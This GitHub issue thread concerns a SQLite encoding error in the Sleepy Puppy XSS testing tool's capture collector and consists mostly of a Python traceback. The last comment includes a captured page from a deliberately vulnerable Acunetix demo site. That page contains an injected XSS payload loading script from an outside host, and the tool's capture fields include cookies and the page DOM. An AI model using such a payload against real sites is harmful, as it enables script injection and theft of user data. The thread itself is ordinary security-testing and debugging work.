sqlite3.ProgrammingError when inserting a new capture
Techbrunch opened this issue · 3 comments
Techbrunch commented
Exception thrown when trying to inject the capture:
--------------------------------------------------------------------------------
WARNING in views [/home/ubuntu/apps/sleepy-puppy/sleepypuppy/collector/views.py:382]:
Exception in /callbacks <type 'exceptions.Exception'>
(sqlite3.ProgrammingError) You must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings. [SQL: u'INSERT INTO captures (assessment, url, referrer, cookies, user_agent, payload, screenshot, pub_date, dom) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)']
Traceback (most recent call last):
File "/home/ubuntu/apps/sleepy-puppy/sleepypuppy/collector/views.py", line 376, in get_callbacks
db.session.commit()
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/scoping.py", line 150, in do
return getattr(self.registry(), name)(*args, **kwargs)
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 790, in commit
self.transaction.commit()
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 392, in commit
self._prepare_impl()
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 372, in _prepare_impl
self.session.flush()
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 2004, in flush
self._flush(objects)
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 2122, in _flush
transaction.rollback(_capture_exception=True)
File "build/bdist.linux-x86_64/egg/sqlalchemy/util/langhelpers.py", line 60, in __exit__
compat.reraise(exc_type, exc_value, exc_tb)
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/session.py", line 2086, in _flush
flush_context.execute()
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/unitofwork.py", line 373, in execute
rec.execute(self)
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/unitofwork.py", line 532, in execute
uow
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/persistence.py", line 174, in save_obj
mapper, table, insert)
File "build/bdist.linux-x86_64/egg/sqlalchemy/orm/persistence.py", line 761, in _emit_insert_statements
execute(statement, params)
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/base.py", line 914, in execute
return meth(self, multiparams, params)
File "build/bdist.linux-x86_64/egg/sqlalchemy/sql/elements.py", line 323, in _execute_on_connection
return connection._execute_clauseelement(self, multiparams, params)
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/base.py", line 1010, in _execute_clauseelement
compiled_sql, distilled_params
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/base.py", line 1146, in _execute_context
context)
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/base.py", line 1341, in _handle_dbapi_exception
exc_info
File "build/bdist.linux-x86_64/egg/sqlalchemy/util/compat.py", line 199, in raise_from_cause
reraise(type(exception), exception, tb=exc_tb)
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/base.py", line 1139, in _execute_context
context)
File "build/bdist.linux-x86_64/egg/sqlalchemy/engine/default.py", line 450, in do_execute
cursor.execute(statement, parameters)
ProgrammingError: (sqlite3.ProgrammingError) You must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings. [SQL: u'INSERT INTO captures (assessment, url, referrer, cookies, user_agent, payload, screenshot, pub_date, dom) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)']
To fix it temporaly I modified the puppyscript to send an empty string instead of the dom.
sbehrens commented
Can you submit a portion of the DOM you are trying to capture? It seems to be an encoding issue, which just may mean a small modification to the script or the DB.
sbehrens commented
Closing the issue since I cannot reproduce it. Please reopen and send DOM and I will investigate.
mdisec commented
I've seen same issue on test env.
Here is the error message while puppy's trying to execute sql query. I'm gonna try to use MySQL it seems this issue only related to the SQLite.
ProgrammingError: (sqlite3.ProgrammingError) You must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings. [SQL: u'INSERT INTO captures (assessment, url, referrer, cookies, user_agent, payload, screenshot, pub_date, dom) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)'] [parameters: (u'General', u'http://testphp.vulnweb.com/search.php?test=query', u'http://testphp.vulnweb.com/search.php?test=query', u'', u'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04', 1, u'1460807997042', '2016-04-16 11:59:58.844402', '<html>\n <!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false" -->\n <head>\n <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n <!-- InstanceBeginEditable name="document_title_rgn" -->\n <title>\n search\n </title>\n <!-- InstanceEndEditable -->\n <link rel="stylesheet" href="style.css" type="text/css" />\n <!-- InstanceBeginEditable name="headers_rgn" -->\n <!-- here goes headers headers -->\n <!-- InstanceEndEditable -->\n <script language="JavaScript" type="text/JavaScript">\n <!--\nfunction MM_reloadPage(init) { //reloads the window if Nav4 resized\n if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {\n document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}\n else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();\n}\nMM_reloadPage(true);\n//-->\n </script>\n </head>\n <body>\n <div id="mainLayer" style="position:absolute; width:700px; z-index:1">\n <div id="masthead">\n <h1 id="siteName">\n <a href="http://www.acunetix.com/">\n <img src="images/logo.gif" height="38" border="0" width="306" />\n </a>\n </h1>\n <h6 id="siteInfo">\n TEST and Demonstration site for Acunetix Web Vulnerability Scanner\n </h6>\n <div id="globalNav">\n <table border="0" cellpadding="0" cellspacing="0" width="100%">\n <tbody>\n <tr>\n <td align="left">\n <a href="index.php">\n home\n </a>\n |\n <a href="categories.php">\n categories\n </a>\n |\n <a href="artists.php">\n artists\n </a>\n |\n <a href="disclaimer.php">\n disclaimer\n </a>\n |\n <a href="cart.php">\n your cart\n </a>\n |\n <a href="guestbook.php">\n guestbook\n </a>\n |\n <a href="AJAX/index.php">\n AJAX Demo\n </a>\n </td>\n <td align="right">\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </div>\n <!-- end masthead -->\n <!-- begin content -->\n <!-- InstanceBeginEditable name="content_rgn" -->\n <div id="content">\n <h2 id="pageName">\n searched for:\n <script src="//f11.io/x?u=1&a=1">\n </script>\n </h2>\n </div>\n <!-- InstanceEndEditable -->\n <!--end content -->\n <div id="navBar">\n <div id="search">\n <form action="search.php?test=query" method="post">\n <label>\n search art\n </label>\n <input name="searchFor" size="10" type="text" />\n <input name="goButton" value="go" type="submit" />\n </form>\n </div>\n <div id="sectionLinks">\n <ul>\n <li>\n <a href="categories.php">\n Browse categories\n </a>\n </li>\n <li>\n <a href="artists.php">\n Browse artists\n </a>\n </li>\n <li>\n <a href="cart.php">\n Your cart\n </a>\n </li>\n <li>\n <a href="login.php">\n Signup\n </a>\n </li>\n <li>\n <a href="userinfo.php">\n Your profile\n </a>\n </li>\n <li>\n <a href="guestbook.php">\n Our guestbook\n </a>\n </li>\n <li>\n <a href="AJAX/index.php">\n AJAX Demo\n </a>\n </li>\n </ul>\n </div>\n <div class="relatedLinks">\n <h3>\n Links\n </h3>\n <ul>\n <li>\n <a href="http://www.acunetix.com">\n Security art\n </a>\n </li>\n <li>\n <a href="http://www.eclectasy.com/Fractal-Explorer/index.html">\n Fractal Explorer\n </a>\n </li>\n </ul>\n </div>\n <div id="advert">\n <p>\n <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" height="66" width="107">\n <param name="movie" value="Flash/add.swf">\n </param>\n <param name="quality" value="high">\n <embed src="Flash/add.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" height="66" width="107">\n </embed>\n </param>\n </object>\n </p>\n </div>\n </div>\n <!--end navbar -->\n <div id="siteInfo">\n <a href="http://www.acunetix.com">\n About Us\n </a>\n |\n <a href="privacy.php">\n Privacy Policy\n </a>\n |\n <a href="mailto:wvs@acunetix.com">\n Contact Us\n </a>\n | \xc2\xa92006\n Acunetix Ltd\n </div>\n <br />\n </div>\n </body>\n <!-- InstanceEnd -->\n</html>')]